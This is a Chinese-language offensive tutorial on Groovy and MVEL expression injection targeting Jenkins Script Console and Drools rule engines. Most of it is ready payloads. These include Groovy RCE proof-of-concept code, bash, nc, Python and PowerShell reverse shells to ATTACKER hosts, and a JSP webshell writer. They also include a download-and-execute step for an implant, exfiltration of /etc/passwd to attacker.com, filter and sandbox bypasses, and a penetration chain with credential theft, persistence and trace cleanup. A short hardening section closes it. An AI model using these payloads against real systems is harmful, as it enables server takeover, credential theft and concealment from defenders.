一、Groovy 表达式注入
Groovy 是基于 JVM 的动态脚本语言,语法与 Java 兼容但更简洁。它常被用于构建脚本引擎、配置文件解析、规则引擎等场景,这也意味着它在安全配置不当的情况下极易导致 RCE。
1.1 Groovy 执行方式
// 方式 1: groovy 脚本文件
groovy script.groovy
// 方式 2: GroovyShell 内联执行
GroovyShell shell = new GroovyShell();
shell.evaluate('println "hello"');
// 方式 3: GroovyClassLoader 加载类
GroovyClassLoader loader = new GroovyClassLoader();
Class<?> clazz = loader.parseClass('class Evil { static void main(args) { Runtime.runtime.exec("whoami") } }');
// 方式 4: Jenkins Script Console
// 直接在 Jenkins Web UI 输入 Groovy 代码执行
1.2 Groovy 危险特性
// 一切皆对象 + 自动 getter
"hello".toUpperCase() // 方法调用
"hello".length() // 等价于 "hello".length
someObject.someProperty // 自动调用 getSomeProperty()
// 直接访问 Runtime
Runtime.runtime.exec('whoami') // Groovy 简写
Runtime.getRuntime().exec('whoami') // 完整写法
// 直接访问 ProcessBuilder
new ProcessBuilder('/bin/sh', '-c', 'whoami').start()
// 字符串 execute() 方法(Bash 风格)
"whoami".execute() // 直接执行 shell 命令!
"/bin/bash -c 'whoami'".execute()
// 简单 GString 命令执行
"whoami".execute().text // 获取输出
// ProcessBuilder 链式调用
['/bin/sh', '-c', 'whoami'].execute().text
1.3 GroovyShell RCE PoC
import groovy.lang.GroovyShell;
import groovy.lang.Binding;
public class GroovyShellExploit {
public static void main(String[] args) {
Binding binding = new Binding();
GroovyShell shell = new GroovyShell(binding);
// 直接执行 Runtime.exec
shell.evaluate("Runtime.runtime.exec('whoami')");
// 使用字符串 execute() 方法(最方便)
shell.evaluate("println 'whoami'.execute().text");
// 通过反射绕过限制
shell.evaluate("java.lang.Runtime.runtime.exec('whoami')");
// 用 ProcessBuilder
shell.evaluate("new java.lang.ProcessBuilder(['/bin/sh', '-c', 'whoami']).start()");
// 获取命令输出
Object result = shell.evaluate(
"def proc = 'whoami'.execute(); proc.waitFor(); proc.text"
);
System.out.println(result); // 输出: root
}
}
二、Jenkins Groovy 注入
2.1 Jenkins Script Console
``
Jenkins Script Console 是 Jenkins 自带的 Groovy 脚本执行入口:
- URL: http://jenkins:8080/script
- 需要: 管理员权限或 Overall/RunScripts 权限
- 直接在文本框输入 Groovy 代码执行
常见 Payload:
// 方式 1: Runtime.exec
Runtime.runtime.exec('whoami')
// 方式 2: execute() 方法(Groovy 特有)
'whoami'.execute()
// 方式 3: 输出回显
println 'whoami'.execute().text
// 方式 4: 反弹 Shell
bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" // 直接执行!
// 方式 5: 写文件
new File('/tmp/test.txt').write('hello')
// 方式 6: 下载并执行
'curl http://ATTACKER/agent.jar -o /tmp/agent.jar'.execute()
'java -jar /tmp/agent.jar'.execute()
``
2.2 Jenkins Pipeline / Job 注入
``
// Jenkins Pipeline 定义中包含 Groovy 代码
// 如果用户可控 Pipeline 脚本 → RCE
// Declarative Pipeline
pipeline {
agent any
stages {
stage('Build') {
steps {
// 危险: 用户输入被插值
sh "${USER_INPUT}" // 如果 USER_INPUT 可控 → 命令注入
}
}
}
}
// Scripted Pipeline
node {
// 危险: 执行任意 Groovy
def cmd = env.PARAM_CMD // 来自 Job 参数
eval(cmd) // 如果 PARAM_CMD 可控 → RCE
// 或者
"ls -la".execute() // Pipeline Block 中可以直接用 execute()
}
// Groovy Hook 注入
// 某些 Jenkins 插件允许在 Job 中定义 Groovy Hook
// preBuild / postBuild 脚本
// 如果这些 Hook 可以被普通用户创建 → RCE
``
2.3 Jenkins 完整 RCE Payload
``groovy
// ============ Jenkins Script Console Payload ============
// 1. 命令执行 + 回显
println 'whoami'.execute().text
println 'id'.execute().text
println 'cat /etc/passwd'.execute().text
// 2. 反弹 Shell(Linux)
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &'.execute()
// 3. 反弹 Shell(Windows PowerShell)
'powershell -c "$client = New-Object System.Net.Sockets.TcpClient;$client.Connect("ATTACKER_IP",4444);$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb=$sb+"PS "+(pwd).Path+"> ";$sw=([text.encoding]::ASCII).GetBytes($sb);$s.Write($sw,0,$sw.Length);$s.Flush()};$client.Close()"'.execute()
// 4. 写入 WebShell
def webshell = '''
<%@ page import="java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line + "
");
%>
'''
new File('/var/www/html/shell.jsp').write(webshell)
// 5. 下载并执行 Cobalt Strike 马
'curl http://ATTACKER/agente.jar -o /tmp/agent.jar'.execute()
'chmod +x /tmp/agent.jar'.execute()
'java -jar /tmp/agent.jar'.execute()
// 6. 完整交互式 Shell
// 进入 Jenkins / 脚本命令行(script console),执行:
def p = Runtime.runtime.exec('/bin/bash')
p.with {
def inp = new BufferedReader(new InputStreamReader(p.getInputStream()))
new Thread({
String line
while ((line = inp.readLine()) != null) println line
}).start()
// 现在可以直接在 Jenkins 控制台输入命令
}
// 7. 访问 Jenkins 内置数据
println Jenkins.instance.getSecret() // 获取 Jenkins Secret
println Jenkins.instance.getRootDir() // Jenkins 家目录
println Jenkins.instance.items // 所有 Job
``
三、Drools / jBPM Groovy 注入
3.1 规则引擎场景
``java
// Drools 规则引擎使用 MVEL/Groovy 作为规则语言
// 如果规则内容来自用户输入 → RCE
// Drools 规则文件示例
package com.example.rules
rule "User age check"
when
$user : User(age > 18)
then
// 危险: 这里可以写 Groovy/MVEL 代码
Runtime.runtime.exec("whoami")
System.out.println("Adult user");
end
// 如果应用允许用户自定义规则 → 用户可以注入 Groovy 代码
``
3.2 MVEL 表达式注入
MVEL(MVFLEX Expression Language)比 Groovy 更简单但同样强大,常用于 Drools、JBoss 等。
``
// MVEL 基本语法
'hello'.toUpperCase() // 方法调用
user.name // 属性访问
Runtime.runtime.exec('whoami') // 直接访问 Runtime
// MVEL RCE Payload
// 方式 1: Runtime.exec
Runtime.getRuntime().exec('whoami')
Runtime.runtime.exec('whoami')
// 方式 2: ProcessBuilder
new java.lang.ProcessBuilder(['/bin/sh', '-c', 'whoami']).start()
// 方式 3: 完整反射链
java.lang.Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')
// 方式 4: 字符串 execute (某些 MVEL 版本)
'whoami'.execute()
// 方式 5: 带输出回显
java.io.BufferedReader(new java.io.InputStreamReader(Runtime.runtime.exec('whoami').getInputStream())).lines().collect(java.util.stream.Collectors.toList())
``
3.3 MVEL 完整反弹 Shell
``groovy
// MVEL 反弹 Shell Payload
// Linux bash 反弹
Runtime.runtime.exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')
// nc 反弹
Runtime.runtime.exec('nc -e /bin/bash ATTACKER 4444')
// Python 反弹(备用)
Runtime.runtime.exec('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/bash'])"')
// DNS 外带数据
Runtime.runtime.exec('nslookup $(cat /etc/passwd).attacker.com')
// HTTP 请求外带
new java.net.URL('http://attacker.com/?d='+java.net.URLEncoder.encode(new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd'))),'UTF-8')).openConnection()
``
四、Groovy 绕过技巧
4.1 单双引号过滤
``groovy
// 单引号被过滤 → 用双引号
"whoami"
// 单双引号都被过滤 → 用 GString 表达式
${7*7} // 占位符
// 不直接适用 Groovy 的字符串拼接...
// 使用反引号(某些场景)whoami
// 使用 char 数组构造
new String([119,104,111,97,109,105] as byte[]) // "whoami"
// 使用 Groovy 的 byte 数组
[119,104,111,97,109,105].collect{it as char}.join() // "whoami"
// 使用正则
/(?<=(.{0})).{0}/.matcher('whoami').replaceAll{''} // 不实用...
// 更简单的正则替换绕过
``
4.2 Runtime 关键字过滤
``groovy
// Runtime 被过滤 → 用 ProcessBuilder
new ProcessBuilder('/bin/sh', '-c', 'whoami').start()
// 用 java.lang.Runtime 完整类名
java.lang.Runtime.runtime.exec('whoami')
// 用反射
Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')
// 用 getRuntime() 方式
'java.lang.Runtime'.class.getMethod('getRuntime').invoke(null).exec('whoami')
// 用 Groovy 的 GString 拼接
'java.l'+'ang.R'+'untime.runtime.exec("whoami")'.execute() // 不行...
// 更简单的绕过
"Runtime".length() // 不执行,只是检查
// Groovy 的 methodMissing 技巧
// 创建一个类拦截方法调用,内部触发 Runtime.exec
class Exploit {
def methodMissing(String name, args) {
if (name == 'pwn') Runtime.runtime.exec(args[0])
}
}
new Exploit().pwn('whoami')
``
4.3 Groovy 沙箱逃逸
``groovy
// Groovy Sandbox / SecureASTCustomizer 限制
// 只允许白名单语法
// SecureASTCustomizer 可以限制:
// - 允许的包名(import)
// - 允许的类(ReceiverTypes)
// - 允许的方法
// - 是否允许闭包
// 即使有沙箱,以下绕过仍可能有效:
// 方式 1: System.load 加载本地库
System.load('/path/to/evil.so')
// 方式 2: ProcessBuilder 代替 Runtime
new java.lang.ProcessBuilder(['/bin/sh', '-c', 'whoami']).start()
// 方式 3: GroovyClassLoader 动态加载
GroovyClassLoader.class.getMethod('parseClass', String.class).invoke(null, '...')
// 方式 4: 直接访问 java.lang.ClassLoader
Thread.currentThread().getContextClassLoader().loadClass('java.lang.Runtime')
// 方式 5: Groovy 的 implicit 方法
// Groovy 允许直接访问 java.lang.System
"whoami".execute() // 使用 Process.execute 方法
``
五、实战攻击链
5.1 Jenkins 完整渗透流程
``
Phase 1: 信息收集
- 版本探测: /script 页面是否存在
- CVE-2015-8103 (Jenkins < 1.637) Script Console 未授权访问
- CVE-2017-1000353 反序列化 RCE
- CVE-2024-23897 CLI 任意文件读取
Phase 2: 获取脚本控制台权限
- 管理员密码爆破
- 泄露的 credentials.xml(解密 Jenkins Secret)
- CVE-2015-8103 未授权访问 Script Console
Phase 3: 执行 Groovy RCE
- Runtime.runtime.exec('whoami')
- 'whoami'.execute().text
- 反弹 Shell
Phase 4: 后渗透
- Jenkins Secret (用于解密凭证)
- /var/lib/jenkins/credentials.xml
- /var/lib/jenkins/.ssh/ (私钥)
- Job 历史中的敏感配置
- 安装恶意插件持久化
Phase 5: 清理痕迹
- 删除/修改 Script Console 历史
- 清理 /tmp 和日志
``
5.2 Drools 规则注入
``java
// Drools 应用漏洞场景
// 用户可以提交"业务规则",规则被编译执行
// 恶意规则 payload
package attacker
// 利用: 插入一个永真条件,then 块中执行 RCE
rule "System info leak"
when
$fact : Object()
then
// 危险代码: 执行任意命令
Runtime.runtime.exec("whoami > /tmp/jboss_rce_result")
// 读取文件
new File("/etc/passwd").text
// 反弹 Shell
Runtime.runtime.exec("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'")
end
// 直接在 rule 文件中写 Groovy
// Drools 的 RHS (Right Hand Side) 支持完整 Groovy
``
六、防御
6.1 Jenkins 加固
``
禁用 Script Console (Jenkins < 2.x)
- 配置 Security > 全局安全
- 限制脚本执行权限
Jenkins 2.x+ 加固
- 安装 Script Security Plugin
- 使用白名单模式,只允许已知安全的 Groovy 语法
- 禁用 Groovy 方法: Runtime, ProcessBuilder, Class.forName
网络隔离
- Jenkins 不直接暴露在公网
- 放在内网 VPN 后面
定期更新
- Jenkins LTS 版本及时打补丁
- 插件及时更新
凭证安全
- 不要把生产凭证存在 Jenkins
- 使用 HashiCorp Vault / 环境变量
``
6.2 Groovy 安全沙箱
``groovy
import org.codehaus.groovy.control.customizers.SecureASTCustomizer
// 创建安全 Groovy 环境
SecureASTCustomizer secure = new SecureASTCustomizer()
// 禁止的包
secure.setPackageBlacklist([
'java.lang.Runtime',
'java.lang.ProcessBuilder',
'java.net',
'javax.script',
'javax.naming'
])
// 禁止的方法调用
secure.setMethodBlacklist([
'execute', 'exec', 'eval', 'invoke', 'forName',
'getMethod', 'newInstance', 'loadClass'
])
// 禁止反射
secure.setReceiversBlacklist([Class, Method, Constructor])
// 只允许简单类
secure.setReceiversWhiteList([String, Integer, Long, Boolean, List, Map, Set])
// 编译限制
secure.setClosuresAllowed(false)
secure.setMethodDefinitionAllowed(false)
// 应用于 CompilationUnit
CompilationUnit cu = new CompilationUnit()
cu.addCompilationCustomizers(secure)
// 使用安全的 GroovyShell
CompilerConfiguration config = new CompilerConfiguration()
config.addCompilationCustomizers(secure)
GroovyShell safeShell = new GroovyShell(config)
``
6.3 MVEL 安全配置
``java
import org.mvel2.MVEL;
import org.mvel2.ParserContext;
// 使用受限 ParserContext
ParserContext ctx = new ParserContext();
// 禁用安全敏感特性
ctx.setStrongTyping(true);
ctx.addImport(null, String.class); // 只导入安全类
ctx.addImport(null, Integer.class);
ctx.addImport(null, Long.class);
ctx.addImport(null, List.class);
ctx.addImport(null, Map.class);
// 不导入危险类
// 不导入 Runtime, ProcessBuilder, Class 等
// 使用受限 evaluator
Object result = MVEL.eval(expression, context, ctx);
``
七、总结
Groovy/MVEL 注入的核心利用链:
- 发现入口:Jenkins Script Console、Drools 规则、JBoss EAP、配置文件解析
- 最简 Payload:Groovy 用
Runtime.runtime.exec('whoami')或'whoami'.execute(),MVEL 类似 - 反弹 Shell:
bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" - 沙箱绕过:反射链、ProcessBuilder 替代 Runtime、ClassLoader 直接加载
- 持久化:Jenkins Groovy Hook、Drools 恶意规则、启动脚本
防御核心:使用 SecureASTCustomizer / ParserContext 白名单限制,禁用危险包和方法,沙箱与生产隔离。
十条 RCE 文章的知识地图:
| 文章 | 技术栈 | 核心原语 | 典型场景 |
|---|---|---|---|
| 远程命令执行全分类 | 通用 | 命令/代码/反序列化区分 | 入门分类 |
| eval 与代码注入 | PHP/Python/Node | eval 闭合 + exec | Web 应用 |
| assert/system 危险函数 | 多语言 | 命令执行函数矩阵 | 漏洞挖掘 |
| Java Runtime.exec | Java | Runtime/ProcessBuilder 反射 | Java 中间件 |
| Node.js child_process | Node.js | exec/spawn + 沙箱逃逸 | Node 后端 |
| ASPX/ASP 一句话 | .NET | Process.Start + WScript.Shell | IIS 服务器 |
| WebShell 对抗查杀 | 通用 | 静态/动态/内存三维度 | 攻防对抗 |
| Spring SpEL 注入 | Spring | T(Runtime).getRuntime().exec | Spring Boot |
| EL 表达式注入 | Java EE | param.getClass().forName | Tomcat/WLS |
| Groovy/MVEL 注入 | Groovy/Drools | Runtime.runtime.exec | Jenkins/Drools |
从入门到精通的学习路径:
分类 → eval 实战 → 危险函数 → 分语言深入 → 模板/表达式注入 → 对抗查杀